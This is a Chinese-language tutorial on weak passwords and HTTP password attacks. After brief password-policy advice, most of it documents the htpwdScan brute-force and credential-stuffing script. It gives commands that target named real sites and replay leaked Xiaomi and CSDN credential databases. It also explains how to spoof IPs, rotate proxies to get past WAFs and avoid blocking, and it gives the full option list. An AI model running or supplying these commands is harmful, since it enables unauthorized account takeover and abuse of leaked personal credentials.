接口漏洞
作者:王宇陽
時間:2019-06-07
弱密碼
弱密碼,指通常很容易被人猜測或破解工具破解的密碼;弱密碼的危害往往很大。
弱密碼的危害:
- 攻擊者可以通過弱密碼輕易的進入系統或管理頁面,最終達到控制權限的目的
- 通過弱密碼可以獲得一個人的相對性的賬戶權限
利用弱密碼而保護的資料,實際上就是透明的資料。
最常見的弱密碼:
Fuzz弱密碼:https://github.com/TheKingOfDuck/fuzzDicts
網絡專家們的建議則是:”數字+字母+大小寫+符号“是相對比較安全的密碼政策
一些密碼的建議:
- 不适用純數字作為密碼政策
- 不使用連貫的有簡單邏輯規律的數字、字母、符号組合作為密碼政策
- 密碼長度應該在8位以上
- 采用四種不同的字元類型的政策
- 密碼内容不要包含簡寫、别稱等内容
接口漏洞:HTTP 密碼爆破
htpwdScan:HTTP爆破、撞庫腳本
htpwdScan:是一個基于python編寫的HTTP暴力破解、撞庫的攻擊腳本
- 支援批量校驗并導入HTTP3代理,低頻撞庫可以成功攻擊大部分網站,繞過大部分的waf
- 直接擷取網絡上洩露的社工庫,發起撞庫攻擊
- 支援導入超大字典
- https://github.com/lijiejie/htpwdScan
htpwdScan的簡單示例
-
HTTP Basic認證
htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
導入使用者名密碼字典即可
-
表單破解
htpwdScan.py -f post2.txt -d user=user.txt passwd=password.txt -err="success":false"
從 post2.txt 導入抓的http包,user和passwd是需要破解的參數,而 user.txt password.txt 是儲存了密碼的字典檔案
success":false 是選擇的失敗标記,标記中若有雙引号,請記得用右斜杠 \ 轉義
-
GET參數破解
htpwdScan.py -d passwd=password.txt -u="http://xxx.com/index.php?m=login&username=test&passwd=test" -get -err="success":false"
使用-get參數告訴腳本此處是GET請求
-
撞庫攻擊
htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="使用者名或密碼錯誤" -fip
htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="使用者名或密碼錯誤" -fip
使用小米和csdn庫發起撞庫攻擊。post.txt是抓包的HTTP請求
參數-regex設定從檔案提取參數的正規表達式,此處需分組,分組的方式是使用括号()
小米的資料行格式是
也即[email protected] xxxxxxx
(使用者名)空白字元(密碼)
(\S+)\s+(\S+)
可指定第一個非空白字元拿去填充loginname,而第二個非空白字元串拿去填充passwd
csdn的資料行格式是
. 正規表達式寫作zdg # 12344321 # [email protected]
\S+ # (\S+) # (\S+)
第一個#後面的非空白字元串填充passwd,第二個#後面的非空白字元串填充loginname
請注意,參數的順序是重要的
-fip 是啟用僞造随機IP
-
校驗HTTP代理
htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="使用者名或密碼錯誤"
要破解某個網站,批量測試使用代理是否連通目标網站,把HTTP請求儲存到post.txt,然後用-suc參數設定連通标記
一個簡單可行的校驗方式是:
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
完整參數說明
腳本支援的小功能較多,請耐心閱讀以下完整說明。建議多使用 -debug
參數檢視HTTP請求是否有問題,沒問題再發起真正的破解。
usage: htpwdScan.py [options]
* An HTTP weak pass scanner. By LiJieJie *
optional arguments:
-h, --help 顯示幫助
Target:
-u REQUESTURL 設定目标URL, 示例.
-u="https://www.test.com/login.php"
-f REQUESTFILE 從檔案導入HTTP請求
-https 當從檔案導入HTTP請求時,啟用https(SSL)
-get 使用GET方法,預設: POST
-basic [ ...] HTTP Basic 暴力破解.
示例. -basic users.dic pass.dic
Dictionary:
-d Param=DictFile [Param=DictFile ...]
為參數設定字典檔案,
支援哈希函數如 md5, md5_16, sha1.
示例. -d user=users.dic pass=md5(pass.dic)
Detect:
-no302 無視302跳轉, 預設302敏感
-err ERR [ERR ...] 響應文本的破解失敗标記,
示例. -err "user not exist" "password wrong"
-suc SUC [SUC ...] 響應文本中的破解成功标記,
e.g. -suc "welcome," "admin"
-herr HERR 響應HTTP頭的破解失敗标記
-hsuc HSUC 響應HTTP頭的破解成功标記
-rtxt RetryText 響應文本中的重試标記,出現則重試請求,
示例. -rtxt="IP blocked"
-rntxt RetryNoText 響應文本中的重試标記,未出現則重試請求,
示例. -rntxt="<body>"
-rheader RetryHeader 響應頭中的重試标記,出現則重試請求,
示例. -rheader="Set-Cookie:"
-rnheader RetryNoHeader
響應頭中的重試标記,未出現則重試請求,
示例. -rheader="HTTP/1.1 200 OK"
Proxy and spoof:
-proxy Server:Port 設定少量HTTP代理
示例. -proxy=127.0.0.1:8000,8.8.8.8:8000
-proxylist ProxyListFile
從檔案批量導入HTTP代理,
示例. -proxylist=proxys.txt
-checkproxy 檢查代理伺服器的可用性.
可用代理輸出到 001.proxy.servers.txt
-fip 生成随機X-Forwarded-For欺騙源IP
-fsid FSID 生成随機session ID. 示例. -fsid PHPSESSID
-sleep SECONDS 每次HTTP結束,等待SECONDS秒,
避免IP被臨時屏蔽,進入黑名單
Database attack:
-database DATABASE 導入社工庫中的資料.
示例. -database user,pass=csdn.txt
-regex REGEX 從社工庫中提取資料的正規表達式,必須分組.
示例. -regex="(\S+)\s+(\S+)"
General:
-t THREADS 工作線程數,預設50
-o OUTPUT 輸出檔案. 預設: 000.Cracked.Passwords.txt
-debug 進入debug模式檢查HTTP請求和HTTP響應
-nov 隻顯示破解成功的條目,不顯示進度
-v show program's version number and exit
複制
腳本安裝包分析
lin目錄
- cmdline.py:解析指令行參數,校驗完整性
- console_width.py:計算機終端寬度,輸出自适應
- encodings.py:平台相關的編碼和解碼
- proxy.py:導入HTTP代理
- queue.py:生成字典隊列
- request_fil.py:從text檔案中解析解析并導入HTTP請求
- request.py:發起HTTP請求,分析HTTP響應的判斷邏輯
dict目錄
- 該目錄是密碼檔案目錄
BurpSuite爆破網頁密碼
- 可以使用Burp軟體進行暴力破解